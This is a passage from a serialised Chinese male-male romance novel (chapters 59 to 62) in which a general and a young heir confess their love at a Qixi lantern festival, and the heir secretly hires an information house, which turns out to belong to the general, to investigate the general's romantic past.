他一口气将药喝完,咧了咧嘴:“好苦啊!” “你说的东西呢……” 话未说完,沈翾倾身贴过来,唇舌探进他口中,搅动一池春水。 叶川遥愣住,还未来得及回应,就听沈翾抬起头,在他耳边笑着问:“还苦吗?” 叶川遥喉结一动,喃喃道:“嗯,可苦着呢……” 沈翾轻笑一声,双唇再次紧紧相贴。 艳阳高照,洒了满室旖旎霞光。 第59章 在张太医的高超医术和大将军的严格监督之下, 叶川遥的病好得很快,没几天便又开始活蹦乱跳。 在院子里连着闷了好几日,病好后的第一件事, 自然就是拉着沈翾要他兑现承诺。 “你答应我的,等我病好要陪我好好逛逛,我想吃什么就吃什么, 你今日可不许拦我!” 既已无恙,沈翾自然不会再拦着他。 于是痛快答应:“好, 今日什么都依你。” 叶川遥的眼底漫出笑意, 嗓音轻快道:“那咱们等日头落了再去!” “这会儿外头天太热,若是现在出去, 还要劳烦将军为我撑伞, 怪累的!” “好……”沈翾笑着应道。 小少爷还挺“体贴”。 日暮西沉, 街上却比白日里还要更热闹些。 各式各样的小玩意儿琳琅满目, 瓜果飘香,摊贩叫喊声不断, 行人络绎不绝。 叶川遥一路看着热闹,脸上神采飞扬。 这些日子当真把他憋坏了! 眼见着人越聚越多, 他朝四周望了望, 不禁疑惑:“咦, 今天是什么日子,这街上怎么多人?” “难不成都是怕热, 晚上才出来的?” 沈翾负手而行,从旁应道:“今日是七夕。” “七夕?”叶川遥惊了声, “怪不得这般热闹!” “这几日待在府里,都快不知道何年何月了,竟把七夕都给忘了!” 他从前便最喜欢凑热闹, 每逢过节都要往人堆里扎,哪里人多往哪里去。 七夕这样好的热闹,自然更不能错过! 在盛国,每逢七夕这一天,未成婚的男女都要向月神许愿,祈求月神赐予自己一段美好姻缘。 也有人会特意选在这一日,同自己的心上人表明心意。 因此对许多年轻人来说,七夕这个特别的日子便多了一丝浪漫的色彩。 叶川遥望向远处通明灯火,声音兴奋道:“那边好像有灯会!走,我们也去瞧瞧!” 说着拽起身旁人的手腕,便向着亮光的方向而去。 沈翾跟在他身后,任由他牵着,一路朝前跑去。 身形俊逸,衣袂飘飘,惹得行人纷纷侧目。 他已经许久不曾如此“失态”地在街上奔跑。 甚至有一瞬,他恍然觉得自己好似又回到了恣意洒脱的少年时。 这些年他的日子乏味且刻板,除了朝政便是军务,鲜少有这样的闲情逸致。 如今他才知道,原来这京中竟有如此多有趣的事,原来日子还可以过得这样畅快淋漓。 上千盏宫灯照亮天际,如星落,似月悬。 两人沿着街市漫步着,头顶两旁皆是五彩灯光,亮如白昼,绚丽如梦境。 叶川遥不时地指向空中,漂亮的桃花眼熠熠生辉:“哎你看,那盏走马灯多好看!” “还有那盏小鱼灯,好可爱啊!” “还有那个那个,都好好看……” 繁灯之下他的笑格外耀眼。 看着他笑,沈翾的嘴角也总是不由自主地弯起,莫名地跟着高兴。 他顺着叶川遥手指的方向看过去,柔声道:“看看喜欢哪些,我们买几个回去。” “好啊,”叶川遥挑了两盏小鱼灯笼,一盏自己拿着,另一盏塞进沈翾手里。 笑容清澈道:“我跟将军一人一个,回去我要挂在床头,日日都能瞧见!” 沈翾看着手里的宫灯,弯唇一笑。 的确很可爱,同小少爷一样。 不远处两名女子正对着月亮许愿,祈求月神能赐给自己一个可堪托付的如意郎君。 叶川遥瞧了会儿,眼睛一亮,笑着看向沈翾:“将军,你说我要不要也许个愿?” 沈翾看向他:“许什么愿?” “就许……” 话未说完,叶川遥笑着跑开,只留下俏皮的嗓音飘在人海中回荡。 “就许早日将大将军娶回去做夫人!” 沈翾闻言低头笑笑,随即大步追上去,低沉的嗓音带着笑道:“年纪不大,胆子倒是越来越大了。” 叶川遥转过身,笑容干净澄澈,眼睛里像闪着星光。 看着沈翾径直朝自己走近,他仰着头,眉眼弯弯道:“若将军不愿意,那不如……” “换将军把我娶回去,好不好?” 沈翾目光深邃地看着他,眼里晦暗不明。 袅袅灯光下,叶川遥笑得分外好看。 他朝面前的人一字一顿道:“沈怀清,你敢不敢娶我?” 身旁人头攒动,光影重重。人来人往中,时间仿佛被定格住,目光所及只余眼前一人。 沈翾心底浪潮翻涌。 他看着面前的人,只觉这漫天灯光亦不及眼前之人分毫。 这般纯粹美好之人,这世间大概唯此一人。 他心中一动,须臾后沉声应道:“好。” “今日天地神明皆为见证,沈翾此生心中唯世子一人。” “世子可愿与沈翾携手,死生契阔,共赴白头?” 叶川遥看着面前的俊朗面容,笑得开怀。 他靠近些,大声道:“我愿意啊!” 答得没有本分犹豫。 他这个人没有什么大志向。 一直以来,他想要的,也不过是一个沈怀清。 又怎会不愿? 沈翾勾唇笑笑,轻舒一口气,心底被满满的柔情占满。 此情难觅,既认准了,便是两厢厮守,一生不渝。 …… 两人拎着宫灯,有说有笑地顺着街市往回府的方向走。 迎面走来一女子,身旁跟着侍女。看见两人后微微一愣,随即在两人面前停下脚步。 这女子叶川遥也认得,是礼部尚书赵大人家的长女,赵晴雪。 她弯了弯腰,朝二人见过礼:“晴雪见过大将军,见过世子。” 两人微微颔首:“赵小姐。” 赵晴雪意味不明地看一眼叶川遥,又看向沈翾,面带微笑道:“没想到将军竟也会来逛灯会。能在此遇见将军,实在让人意外。” 沈翾微微一笑,语气自然道:“世子喜欢热闹,便陪他出来走走。” 赵晴雪面露惊讶,眼中带着明显的错愕。 这话听着似有几分无奈,却字字透着宠溺。 难道坊间那些传言……竟都是真的吗? 她的眼底倏地涌上几分落寞。 但到底是大户人家的小姐,不至于失了分寸。 她轻轻笑了下,朝两人躬了躬身道:“那晴雪便不打扰两位公子雅兴,告辞。” 沈翾嗯了声:“赵小姐慢走。” 行出数步,赵晴雪忽而回头,望向那一双如玉背影。 一个言笑晏晏,一个目光缱绻。 一个皎如玉树,一个列松如翠。 一旁的婢女顺着她的目光看过去,轻嗤道:“当真是世风日下,连刚正肃穆的大将军竟也学起那些纨绔,开始养起男宠来了!” “别胡说!”赵晴雪朝婢女轻斥道,“世子岂是你能随意诋毁的?” “况且,大将军怎会是那等肤浅之人,他们……” 她定定地看着那两道身影缓缓没入人群之中,忽地轻叹一声,释然一笑。 若能寻得一人真心相伴,是女子还是男子又有何重要? 赵晴雪走远后,叶川遥转头看向沈翾,嘴上幽声哼道:“大将军,你这桃花可不少啊?” “又是公主,又是赵家小姐的,不知究竟还有多少呀?” “要不你先给我透个底,我也好心里有个数。” 见他板着脸,沈翾低声笑笑,慢条斯理道:“这是吃的哪门子醋?” “我与公主不过是皇帝一时兴起,乱点鸳鸯,早已推了。与赵小姐也不过是从前在宴会上见过几面,连话都没说过几句。” “倒是世子……” 叶川遥看着他,眨眨眼:“我怎么了?” 沈翾弯了弯腰,看着他的眼睛,状似无意地笑着问:“世子从前……心里是否有过旁人?” 叶川遥微怔一下,瞪着他哼道:“现在说你的事呢,扯到我身上做什么?” “你不要转移重点!” 沈翾直起身,笑道:“没有什么桃花,除了你,从未对旁人动过心。” “世子若不信,可以随便打听。” 听了这话,叶川遥的脸色才柔和了几分。 不过说起公主,他倒是有件事一直很好奇。 于是开口问:“将军,你与公主的婚事,当初是如何推掉的?” “不是说皇帝赐婚吗?难不成还能抗旨?” “圣旨并没有正式下达,不算抗旨。” 沈翾慢慢踱着步子,缓缓道:“当时陛下确有下旨的打算,但我提前得了信儿,便进宫向陛下禀明实情。” “我本无意娶妻,何苦白白耽误公主一生?” “皇帝答应了?他没有怪罪你?”叶川遥疑惑问。 “他自然不会答应,”沈翾漫不经心地嗤笑一声,“陛下当时发了很大的火,欲强行下旨赐婚,还说……” “若我抗旨不从,便将我的兵权削了。” 叶川遥不屑地哼了声:“他若真有这本事,也不至于到现在还对你如此提防。” 他皱着眉,越说越来气:“不过他这是铁了心要你做驸马吗?居然还想逼婚!” “所以后来呢,怎么解决的?” 沈翾道:“后来皇后娘娘站出来极力反对,不惜于大殿前长跪不起。皇帝无奈,才只好将婚事作罢。” 叶川遥听完吃惊不已。 “皇后娘娘为何极力反对?” “她是你的亲姑母,难道不想亲上加亲吗?” 他灵光一闪,突然反应过来:“皇后娘娘是在替你解围?” “怕皇帝治你的罪?” 沈翾望着远处,眼底微微一动,沉声道:“也不全是,姑母她……的确反对这门亲事。” “为何?”叶川遥还是想不明白。 沈家兵权在握,若与公主联姻,无论是对皇后一脉,还是对沈家都助力颇多。 皇后为何不愿? 沈翾顿了顿,道:“姑母她不想我被驸马的身份困住。” “也不想沈家再被朝廷诟病。” 叶川遥点点头,这回终于懂了。 沈老将军死后,皇后与沈家往来甚少,人们只以为沈翾性子冷淡,皇后与这个侄子并不亲厚。 而事实上,皇后这么做是在保全沈翾,保全沈家。 外戚当权自古都要遭皇帝忌惮。 沈老将军已死,皇帝好不容易放下一丝戒心,若沈翾再与公主联姻,无异于同季泽站在了同一条船上。 对皇位的威胁只会更甚。 可既如此,皇帝又为何非要撮合沈翾同公主的婚事? 这不是自相矛盾吗? 叶川遥想了一路也没想明白,回府后又继续问:“皇帝执意要你娶公主,就不怕你与三殿下联起手来夺位?” 沈翾替他将小鱼灯笼挂在床头,随手拨了拨,漫不经心道:“他自然已经想好了应对之策。” “我猜,若我真与公主成婚,他定会一步步想法子将我手里的兵权削弱。” “最后变成一个身份尊贵,却手无实权的文臣。” 叶川遥皱了皱眉,对皇帝的阴险心思嗤之以鼻。 不忿地哼道:“他成天防着这个防着那个,就怕还没熬到得道成仙,皇位就先被人夺了去。” “可你明明志不在此,对皇位根本就没有任何兴趣,他怎么就不信呢?” 沈翾若有所思地看着他,笑着问:“这京中人人都觉得我手握重兵,必定对皇位心生觊觎。” “世子为何却觉得我志不在此?” 叶川遥看着他,弯唇一笑,眼底如烟花璀璨。 一字一顿道:“我就是知道。” “我的大将军是真正的英雄,身负护国之责,心怀家国百姓,却从不贪图功名美誉。” “就算人人都不信你,但我知道,你沈翾真正想要的,毕生所求的,不过是百姓安康,海晏河清。” 沈翾深深地看着面前之人,一颗心满涨着,灼热的情愫自心底肆意蔓延,流向周身的每一处。 须臾后,他极轻地笑了下。 嗓音低柔道:“我沈翾何德何能,得遇世子为知己。” “此生无憾了。” 叶川遥眉眼笑开,靠近他柔声道:“所以啊,大将军,你可要对我好一点哦,可别把我弄丢了!” 沈翾勾唇一笑:“嗯,就算死,也绝不会放手。” 第60章 叶川遥本想病一好就去军营, 奈何大将军不许,非要他留在府里按照太医的方子养身子。 唯独在这件事上他拗不过沈翾,只好听话地配合, 每日乖乖喝药。 好在偶尔可以得些“好处”,也算慰藉了他壮志未酬的心。 这段时日,沈翾留在府里的时间比从前多了不少, 下人们都有些不习惯,做起事来也比从前更谨慎。 尤其是云水阁的下人, 每日更是谨小慎微, 生怕一个不小心,惹了大将军不快。 毕竟, 大将军如今留在云水阁的时间, 可是比留在紫云轩的时间还要多。 云画虽然年纪不大, 但来府里也有些年头。 瞧着大将军离开世子房里的时辰越来越晚, 她犹犹豫豫,有些话不知该不该说。 一日恰巧碰见明烛, 她兀自纠结了半天,终是上前道:“明将军, 有件事……奴婢觉得还是该跟你商量一下。” 明烛嗯了声:“你说。” 到底是姑娘家, 明烛又是男子, 云画一时间有些难以启齿,吞吞吐吐半天才道:“大将军这几日, 日日都过来陪世子。” “虽未曾在此过夜,但想来也是早晚的事……” 她咬了咬唇, 硬着头皮豁出去道:“有些东西……是不是该早早备下了……” “什么东西?”明烛不明所以地问。 “哎呀,就是……房中之物……” 云画的脸红得快要滴血:“世子身子娇弱,若不做好准备, 会……会伤到的!” 明烛站在那愣了片刻,这才反应过来她说的什么。 一时间也红了脸。 “你这小丫头,怎么懂得…还挺多……” 他想了想,觉得云画说的也不无道理。 便咳了声,道:“那便……备下吧。” 云画应了声好,如释重负地匆忙跑开。 她得抓紧些才是,万一今夜就要用到…… * 叶川遥闲来无事,坐在莲花池边喂鱼,忽然灵光一现,开始琢磨起旁的来。 七夕那夜,沈翾虽嘴上说自己从前从未对旁人动过心,但叶川遥还是免不了好奇。 不错,他并非什么君子,也没有容人之量。 对于沈翾的过去,他从前都是从父亲和旁人口中得知些只言片语,可这些对他来说远远不够。 他就是要知道他的所有过往,知道有谁同他议过亲,有谁对他情之所钟。 但若直接去问,沈翾未必会说实话。 去问明烛? 可若他行事隐秘,明烛也未必知晓。 思来想去,这事儿还得他亲自查探。 他灵机一动,想起一个地方。 忘川阁。 这忘川阁不是号称执掌天下消息吗,朝廷之事他们不肯碰,这风月之事总可以接下吧? 若他们还不肯接,那他就让大将军将这骗人的地方给一锅端了。 免得再坑害他人! 说干就干。 沈翾现下不在府中,叶川遥拿上银票,带了两个侍卫便出了府,直奔着城东聚贤楼而去。 他倒也不怕此事会被沈翾知晓,既要查他底细,那索性就光明正大地查,看沈翾能拿他如何! 同上次一样,蒙着眼辗转一圈之后,叶川遥被带到一间密室。 忘川阁主的脸上依旧戴着面具,只是看他的眼神却好似比上次熟络了几分。 还客气地邀他入座,茶水相敬。 叶川遥心想,这阁主许是觉得上次拒绝了他的委托,心里多少有些过意不去? 故而这次才如此客气? 没想到阁主人还怪好的咧。 面具下,南桑勾了勾唇角,嗓音温润道:“世子今日来我忘川阁,不知所为何事?” 叶川遥拱了拱手,道:“在下想请阁主帮忙查一个人的过往。” “此人虽为朝臣,但在下所查之事与朝政无关,想来并不会坏了忘川阁的规矩。” 南桑看向他,饶有兴致地问:“那不知世子, 想查的是什么人?” 叶川遥直视着他,微微一笑,一字一顿道:“大将军,沈翾。” 这个答案属实出乎南桑的意料。 他的眼中闪过讶异之色,稍默片刻,而后笑着问:“世子想查大将军的什么过往?” “情史。”叶川遥不假思索道。 “我要知道他曾同谁议过亲,有哪家小姐心仪于他,他有没有过心仪之人。还有……” “曾否有过……通房。” “这些,我通通都要知道!” 南桑:“……” 他怎么也想不到,他堂堂一个阁主,正值风华正茂的年纪,居然要去查自己恩人的……房中秘辛? 兄弟还有得做吗? 饶是经历过那么多大风大浪,南桑此刻还是被震惊住了。 明烛说得不错,世子可当真是个妙人。 只是不知,他若是告诉世子,除了朝廷之事,忘川阁也不查帷幔之欢。 世子听说后,会不会回去让大将军带兵把他这忘川阁给剿了? 若大将军得知自己被心上人查了房中之事,也不知会是什么表情。 想想倒也有趣。 就冲着世子这份胆识,这份委托他还就应下了。 南桑笑笑,温声道:“好,七日后,在下定将结果如实奉上。” 叶川遥心下一喜:“多谢阁主!” 说完想了想,犹豫一下,还是确认道:“敢问阁主,在下的委托,应该不会外传的,对吧?” 南桑轻笑,应道:“这是自然。” 外传自是不会,不过阁中之人,可就说不好了。 事情办成,叶川遥心情颇好,顺道回了趟家,取了些衣物,这才悠哉美哉地回了将军府。 一进门,恰巧遇上沈翾刚下朝回来。 “将军你回来啦!”叶川遥笑着上前,关切道:“热不热啊,走,进屋,我给你倒杯凉茶!” 沈翾轻笑一下,随他进了前厅。 叶川遥给他倒了茶,沈翾伸手接过,喝完后置于一旁。 他看向身旁的人,状似随意地问:“听说世子今日去了忘川阁?” 叶川遥眼睛一亮,看着他不答反问:“我才刚回来,你这消息得的也太快了吧?” 沈翾笑笑:“你让他们帮你查什么?” 叶川遥看他一眼,端起茶盏送到嘴边,视线晃了晃,搪塞道:“也没什么,就是些从前的琐事,不重要的。” 虽说此事他没打算避着沈翾,但若现在便让他知道,岂不“打草惊蛇”? 他可没那么傻! 沈翾嗯了声,见他不愿多提,他便也不再多问。 反正用不了多久便能知晓。 果不其然,当天深夜,南桑便从房梁之上一跃而下,脚步翩翩地进了紫云轩书房。 沈翾坐在桌案前,见到来人微微抬了抬头,并不意外。 明烛在隔壁听见动静,也跟了过来,嘴里打着哈欠道:“南桑,怎么这么晚了还过来,可是有什么要紧事?” 南桑倒了茶递给明烛,随即自顾自坐下,笑着道:“有件事,我觉得或许将军有必要知道一下,便过来了。” 向来温文尔雅的面容上难得露出几分兴味。 沈翾看他一眼,心底隐隐有了猜测。 明烛坐到南桑身侧,端着茶盏问他:“什么事这么急?” 南桑勾了勾嘴角,漫不经心道:“今日世子来阁中,付银票五千两,买一个人的过往。” “嗯?你说谁?”明烛闻言立马不困了,还以为自己听错了。 “你说世子吗?” 南桑肯定地嗯了声。 “世子要查谁啊?”明烛困惑不解。 “怎么还找上阁里了呢,他若想查谁,直接同我们说一声不就好了?” “何必如此大费周章?” 他说着看向沈翾,问道:“将军,他也没同你说吗?” 沈翾目光一沉,意味不明地嗯了声。 小少爷果然有主意,居然瞒着他找上了忘川阁。 明烛叹口气,略带嫌弃地睨了他一眼。 又看向南桑问:“那世子究竟要查谁的过往?” 南桑朝沈翾抬了抬下巴,压着嘴角道:“这位。” “啊?”明烛瞪大眼,“世子要查将军?” “查他什么?” “自然是……”南桑在两人的殷切目光中缓缓道,“大将军的风月之事。” 沈翾:“……” 明烛:“……” 明烛站起身,语气激动:“你是说,世子找到了忘川阁,花重金五千两,买咱们将军的……情史?” 南桑点点头,语气漫不经心。 “世子说了,不管是将军心仪的,还是心仪将军的,与将军议过亲的,他都要知道。” “哦还有,世子还想知道,将军是否有过通房……” 沈翾:“……” 闭了闭眼,一时只剩沉默。 “啊?”明烛怔住,随即大笑不止。 “哈哈哈哈哈哈哈哈……” “世子居然要查将军的通房哈哈哈哈……” “别说,这还真是咱们世子能做出来的事哈哈哈!” “五千两!他可真舍得!咱们将军连情史都这么值钱吗?” 沈翾冷冷地瞥他一眼,只想把人一脚踹出去。 南桑一副看热闹的模样,笑着冲沈翾道:“不知属下该如何向世子答复呢?” 沈翾冷冷地看他一眼,幽声道:“他胡闹,你也跟着胡闹。” 南桑不以为意地笑笑:“此前寻找孟括一事,属下已经推拒了世子一次。” “若次次都回绝,岂不坏了我忘川阁的名声?” 沈翾想了想,末了道:“随他吧,你如实答他便是。” 明烛在一旁笑出了泪,不忘附和道:“对对对,咱们将军身正不怕影子斜,不怕他查!” “将军的卧房平日里可是连守夜的人都不用,哪来的通房?” 南桑应下,正要起身离开,沈翾忽然将人喊住。 “既如此,你也替我查一查他。” 南桑问:“查什么?” 沈翾望向漆黑夜色,目光深了深,缓缓道:“查他是否曾对一人……爱而不得。” 人总是贪心不足,他也不例外。 那日互通心意之后,他想着只要阿遥心里有他,过往便无关紧要。 可如今却又忍不住想知道,究竟是什么样的人,能让他藏在心底许久…… 明烛和南桑对视一眼,彼此眼中闪过诧异。 情之一字让人迷失,没想到淡漠自持的大将军,竟也有如此患得患失的一天。 明烛本想劝阻,但转而一想如此也好。 如此一来,两人的心结也许便能解开。 况且他也想知道,阿遥从前心里的那个人究竟是谁。 不管是何人,总不可能比得过他们将军吧?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 翌日下午, 叶川遥在藏书楼里读了会儿书,回到院中时,见云画手里拎着包东西, 正魂不守舍地杵在门口。 他走过去笑着问:“云画你是有事找我吗?” 云画吓了一跳,紧紧抓着手里的包袱,磕磕绊绊道:“哦, 是,世子, 奴婢……那个……” 瞧她一副难以启齿的模样, 叶川遥不明所以,不禁生出几分担心。 “怎么了?可是遇到了什么难处?” 云画抬起头睨他一眼, 脸上一红。似下了好大决心, 才将手里的包袱塞到他手中。 “这个给世子, 世子大概会用的上……” 说完也不等对方应声, 便捂着脸撒丫子跑开,好似身后有恶犬追赶一般, 跑得那叫一个快。 只剩下叶川遥一脸错愕地站在原地。 “……” 这姑娘是怎么了? 平日里瞧着老成稳重的,为何今日如此反常? 他笑着摇摇头, 掂了掂手里的包袱。 这么沉, 这云画究竟给他塞了些什么东西? 叶川遥一头雾水地将包袱拎回房里, 摊在桌子上打开,霎时从里面滚出来一堆瓶瓶罐罐。 大小不一, 形状各异。 瓶身上未刻标记,一时看不出这些东西是做什么用的。 他随便拿了一瓶打开, 只见里面装着白色的软膏,看上去极是滋润。 还飘着点淡淡的清香,怪好闻的。 又开了几瓶, 都是差不多的东西,瞧着质地上乘,可又不太像是药材…… 他想了想,难道是…… 姑娘家用的养颜霜? 可是云画送他这个做什么? 难道是要他保养好自己的脸,别给他们家主子丢人? 想了半天也没猜不出所以然,叶川遥干脆不再想,只将东西重新包起来,随手扔在床边的柜子上,打算找机会再问问云画。 用过晚膳,沈翾得了些空闲,便陪叶川遥在院中散步。 想着昨夜南桑说起的事,沈翾有些心不在焉。 他孑然一身多年,自然不怕小少爷查他,只是…… 阿遥为何要查他? 难道觉得他是那种朝三暮四,纵欲无羁之人? 沈翾蹙了蹙眉,在心底无奈地轻叹一声。 小没良心的。 把他当什么人了? 见他似有心事,叶川遥浑然不知是因自己而起,还一副关心的语气问: “怎么了,可是朝中有什么事?” 沈翾意味深长地看他一眼,顿了顿,道:“阿遥。” “你若有什么事,尽可同我商量,莫要自己胡思乱想。” “嗯,”叶川遥未多思量,笑着应道,“放心,我不会再自作主张的,有事一定告知将军,绝不隐瞒!” 沈翾:“……” 无妨,睁眼说瞎话何尝不是一种本事? 他无奈地看向叶川瑶,欲言又止,最后轻叹一声。 罢了,就让他查吧。 不亲自查一遍,小少爷大概不会安心。 夜色渐浓,万籁俱寂,唯有莲池中传来阵阵蛙叫。 两人在院子里逛了许久,眼见着天色越来越暗,似要下雨,沈翾这才将人送回屋里。 “将军明日可是休沐?”叶川遥坐在床边问。 沈翾负手而立,嗯了声道:“不过明日还需去军中一趟,万寿节不日将至,军中还有许多事需要操持。” “这几日,我大概无法日日陪你。” “嗯,”叶川遥仰着脸看他,笑着应道,“你忙你的,不必日日陪我。” “若是无聊,我便带上几个人出去逛逛!” 沈翾柔和一笑:“嗯,自己当心。” “知道啦!”他应完轻轻咳了声,有些不好意思地笑笑。 语气乖巧道:“对了将军,你能借我点银子吗?” 沈翾坐下,嗯了声,意味不明地问:“世子缺银子?” 叶川遥点点头,面不改色道:“上次出来得急,忘了带。” 昨日付给忘川阁那五千两可是他全部的身家,如今已经分文不剩了。 若真哪日出门需要用银子,他总不好跟几个暗卫借吧,那可真是丢人丢大了! 反正他欠沈翾已经欠习惯了,丝毫不用觉得有任何负担。 沈翾若有所思地看了他片刻,而后从怀里掏出几张银票,递给他。 “这是五百两,你先收着,若不够再去找管家要。” 叶川遥呲着牙接过,连连点头道:“够了够了,我哪能花的了这么多!” 沈翾无声哼了下。 嗯,不能花,一出手不过就是五千两。 他叹口气,倒并未拆穿。 叶川遥将银票收好,转头笑容灿烂地朝沈翾道:“谢谢将军!” 一张笑脸灿烂如朝阳,好看得让人恍惚。 沈翾心底生出一片柔软,目光柔和地看着他,默了默,道:“那我回去了,你早些歇息。” 叶川遥闻言抿了抿唇,轻轻嗯了声:“好……” 嘴上应着,心里却在思忖着要怎样才能将人留下。 如今他都住到家里了,这人居然还这么君子! 难不成还真要等成了亲,拜过堂,才肯行那周公之礼? 从前便是他爱而不得,如今好不容易思慕成真,却又要想法子同对方亲近…… 他这是什么命啊? 叶川遥越想越觉得自己情路坎坷,不禁轻叹一声。 方才还神采奕奕的双眼忽然黯淡了几分,沈翾觉得自己好似从他的眼中看到了一丝……失望。 不禁心中一颤,疑惑地问:“怎么了?” “没什么,”叶川遥摇摇头,站起身将身上的外袍脱掉,懒洋洋道:“饭饱思淫.欲,古人诚不欺我!” “定是我太闲了。” 才生出这些浪荡心思来。 夏天的衣料薄,叶川遥身上只着一件里衣,隐隐透出白皙光滑的皮肤。 沈翾一眼瞥过去,眸色倏地一深。 偏偏叶川遥还浑然不觉,自顾自说道:“将军回去休息吧,明日我要回家一趟,天黑前回来。” “将军若是回来得早,不必等我用晚饭,我在家陪父亲用过再回来。” 沈翾压了压胸口的燥意,嗯了声,转身正要离开,忽然瞥见柜子上散落的瓶子。 脚步一顿,状似随意地问:“那是什么?” “哦,不清楚,”叶川遥如实道。 “云画今日给我的,她也没说是做什么用,只说我日后可能用得到。” 他说着走过去,打开一瓶递到沈翾面前:“你闻闻,能闻得出来是什么吗?” 沈翾轻轻嗅了嗅,又朝瓶子里睨了眼,眼底一沉。 “……” 这个云画…… 他沉默一瞬,随后故作淡定道:“她既拿来,便放着吧,以备……不时之需。” 叶川遥不以为意地点点头,随手将东西放回去:“行,那留着等秋日天干的时候用!” 他将东西塞进柜子里,走到沈翾面前,冲他笑着道:“那将军早些歇息。” “别太想我哦!” 他凑的很近,仰着的脸上带着浅笑,眼中水波流转。 沈翾目光微顿。 随即向前探了探身,在叶川遥的额头上落下轻轻一吻。 温柔中带着珍视。 微凉的触觉落在额头,叶川遥闭了闭眼,浑身一麻。 而后抬起头,目光缱绻地看着面前的人。 气氛都到这了,难道还不做点什么吗? 沈翾喉结滚了滚,趁心绪还未失控,低声道了句:“走了。” 而后大步离开。 “……” 就这么走了? 叶川遥看着那道挺拔背影,无奈地叹了口气。 果然是坐怀不乱,佩服…… * 七日期限至,叶川遥如约去了忘川阁,将探查密函取回。 一回到房中,便迫不及待地将密函看完。 虽说结果同他预料的一般无二,可还是觉得开心不已。 不曾有过通房,未有过心仪之人。 对几位小姐的示爱也回绝得礼貌得体,不曾让对方有半分难堪。 的确是朗朗君子,令人佩服。 也让他痴迷。 正默默高兴着,沈翾过来寻他。 二人两日不见,叶川遥只觉思念快要漫出心口。 沈翾瞥见桌案上的密函,笑着看向他:“结果可还满意?” 叶川遥愣了愣,一时间没听明白他话里的意思。 “什么结果?” 沈翾指了指桌上的信,直截了当道:“不是找人查了我?” “你,你是如何知道的?”叶川遥震惊不已。 这忘川阁居然如此不守信诺! 说好的绝不外传呢?! 此事沈翾打算之后再同他详细解释,这会儿只问:“五千两,世子哪来的那么多银子?” 叶川遥在他身旁坐下,如实道:“我自己攒的,还有……” “先前季岩给的……” 沈翾险些被气笑:“世子,拿别人的银子来查我,是不是有些欠妥?” 叶川遥一想,也觉得自己的做法有些不妥,柔声解释道:“我就是一时好奇,没想那么多……” “那我总不能拿着你的银子去查你吧?” 沈翾看着他,轻笑:“为何想查我?不信我?” “因为,”叶川遥摸了摸鼻子,有些难以启齿道,“你第一次亲我的时候,熟练得可不像是以前没尝过的……” 沈翾一怔,漫不经心地问:“就因为这个冤枉我?” “我就不能无师自通?” 叶川遥哼了声:“大将军哪是无师自通,分明就是炉火纯青,瞧着可像是练过许多次的……” 沈翾:“……” 也算是夸奖吧。 他勾了勾嘴角,凑到叶川遥面前看着他,轻声道:“其实,是因为世子太诱人,所以在下才能无师自通。” “你……” 叶川遥瞪大眼,一时不敢相信这话是从沈翾嘴里说出来的。 “大将军,这种荤话要是传出去,你这大将军的威严可就没了!” 沈翾不以为意地笑笑:“我也是人,对着自己的心上人,说句心里话都不行?” 叶川遥顿时没了脾气。 他突然发觉,自己好像根本不是大将军的对手。 不禁替自己捏了把汗。 也不知将来床笫之上,沈翾会如何对他? 第62章 对于沈翾的“坦诚”, 叶川遥选择欣然接受。 他喜欢看他为了自己破例失控,眼底染上情欲的模样。 唯他一人得以窥见。 事情既已说开,叶川遥反倒更轻松了几分。 不过对于沈翾是如何得知的此事, 他还是疑惑不已。 于是直接问:“你是如何知晓的?” “你在忘川阁安插了眼线?” 沈翾嗯了声,并不打算瞒他。 “这忘川阁主,你也认得。” “我也认得?”叶川遥瞪大眼, 不敢置信。 他将同自己相识的人挨个想了一遍,脑中忽然闪过一道熟悉的身影。 不确定地问:“是南桑公子?” 沈翾笑着点头:“世子果然聪明过人。” “……” 叶川遥这会儿可顾不上理会他的夸奖, 只觉震惊不已, 眼里布满讶异。 他本以为沈翾只是在忘川阁里安插了眼线,却不曾想, 这大名鼎鼎的忘川阁, 竟全都是他的? 如此庞大的情报机构, 若被皇帝知晓, 怕是断了升仙的路也要将他除掉吧! 叶川遥缓缓平复着自己复杂的情绪,过了片刻, 终于从震惊中缓过来。 没头没脑地道了句:“将军,说句实话, 我真替你感到不值。” “嗯?”沈翾微微蹙眉, 不不解地问, “这是何意?” 叶川遥叹口气,慢悠悠道:“就您这权势和能力, 若真有谋反之心,别说一个皇宫, 就是几个京城也能轻而易举地踏平。” “皇帝居然还疑心你?” “他合该偷着乐才是!” 说着忍不住翻了个白眼,一副忿忿不平的模样。 沈翾听了这话忍俊不禁,慢条斯理道:“怀璧其罪, 何需计较,问心无愧便是。” 知他心中自有丘壑,叶川遥笑着嗯了声,不再提那些丧气话。 如今既已知晓忘川阁乃沈翾的产业,想到自己交出去的那五千两白花花的银子,叶川遥顿时觉得自己吃了大亏! 他朝沈翾伸出手,嘴里哼道:“好一个奸商,把我的银子还我!” 沈翾轻笑一下,果真将银票掏出来,递到他手里。 “连本带利,如数奉还。” 叶川遥拿起银票点了点。 一万两? 他抬起头诧异地问:“怎么多了五千两?” 沈翾笑笑,微微倾身靠过去,仰着脸看向面前的人,轻哄道:“多出来的,就当是给世子的赔礼。” “还望世子莫要怪罪。” 叶川遥垂眸望着近在咫尺的人,看着那双布满柔情的眼睛,心下一热。 心底被浓浓的情愫占满,轻轻道:“这是你的秘密,本就无需向我透露。” “你愿意和盘托出,我自然高兴,又岂会怪你?” 沈翾闻言微微一笑,心中满是熨帖。 他牵过面前的手,在柔软的掌心轻轻捏了捏,柔声道:“阿遥,日后不论发生何事,我不会瞒你。” 叶川遥的心里暖暖的,笑着点点头:“嗯,我信你。” 话音刚落,他忽然微微眯了眯眼,眼角的笑意淡了去。 不对,等等…… 他看向沈翾,瞪着他道:“所以我查到的那些,只是你想让我知道的?” “根本不是全部的实情?” 沈翾微微一愣,未曾料到他会想到这儿去。 顿了顿,轻声道:“此事我并未插手。” “哼,还用得着你亲自插手吗?”叶川遥拧了拧身子,气鼓鼓道,“若真有什么,南桑他会如实同我说?” “还不是任由你们编排!” 沈翾无奈,轻笑着问道:“那敢问世子,如何才肯信我?” 叶川遥仔细想了想,而后将密函拿在手上,指着道:“我要你对天起誓,这上面所写句句属实,绝无半句虚言!” 沈翾毫不犹豫地应下,抬手指着天道:“我沈翾对天发誓,此信上所言句句属实。沈翾心中所思所想,唯叶川遥一人。身心如是,此生不变。” 叶川遥本来只是故意逗他,想让他哄哄自己。 